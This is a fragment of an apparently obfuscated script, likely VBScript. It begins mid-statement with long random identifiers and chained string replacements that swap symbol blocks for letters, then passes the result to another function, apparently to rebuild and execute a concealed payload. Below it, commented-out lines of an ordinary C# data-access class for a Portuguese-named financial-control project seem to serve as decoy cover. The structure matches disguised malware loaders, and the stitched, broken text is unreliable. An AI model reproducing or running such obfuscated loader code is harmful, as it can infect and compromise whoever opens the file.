", "e")
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff, "@}
}4@@}@#
@@#}##
@#@#4##
@#:}@@
*(}4@@:}4:
(@@}@@
@((#@@
#@##:4", "p")
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff, "#####", "o")
LvlXnAsGzUeYHzRUnlUUxWcplnKHuLCdpWPAGULZCPACHHKDTUraeScPdUWibAAoPTUWmCAccSUwrDgXUxqAxCBPiGOCOxPBBeNoXUWXuljvLBXLLdccPdiDpUwWedDDC(hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff)
' using ControleFinanceiro.DAO;
' using ControleFinanceiro.Tabelas;
' using System;
' using System.Collections.Generic;
' using System.Linq;
' using System.Text;
' using System.Threading.Tasks;
' namespace ControleFinanceiro.Modelo
' public class ModeloTipoFolhaPagto
' {
' public List<TipoFolhaPagto> Lista()
' {
' return new DAOTipoFolhaPagto().Lista();
' }
' public static int Inserir(TipoFolhaPagto tipofolha)
' {
' return new DAOTipoFolhaPagto().Inserir(tipofolha);
' }
' public static int Atualizar(TipoFolhaPagto tipofolha)
' {
' return new DAOTipoFolhaPagto().Atualizar(tipofolha);
' }
' public List<TipoFolhaPagto> CarregarTipoFolha (TipoFolhaPagto tipofolha)
' {
' return new DAOTipoFolhaPagto().CarregarTipoFolha(tipofolha);
' }
' public static int Excluir(TipoFolhaPagto tipofolha)
' {
' return new DAOTipoFolhaPagto().Excluir(tipofolha);
' }
' }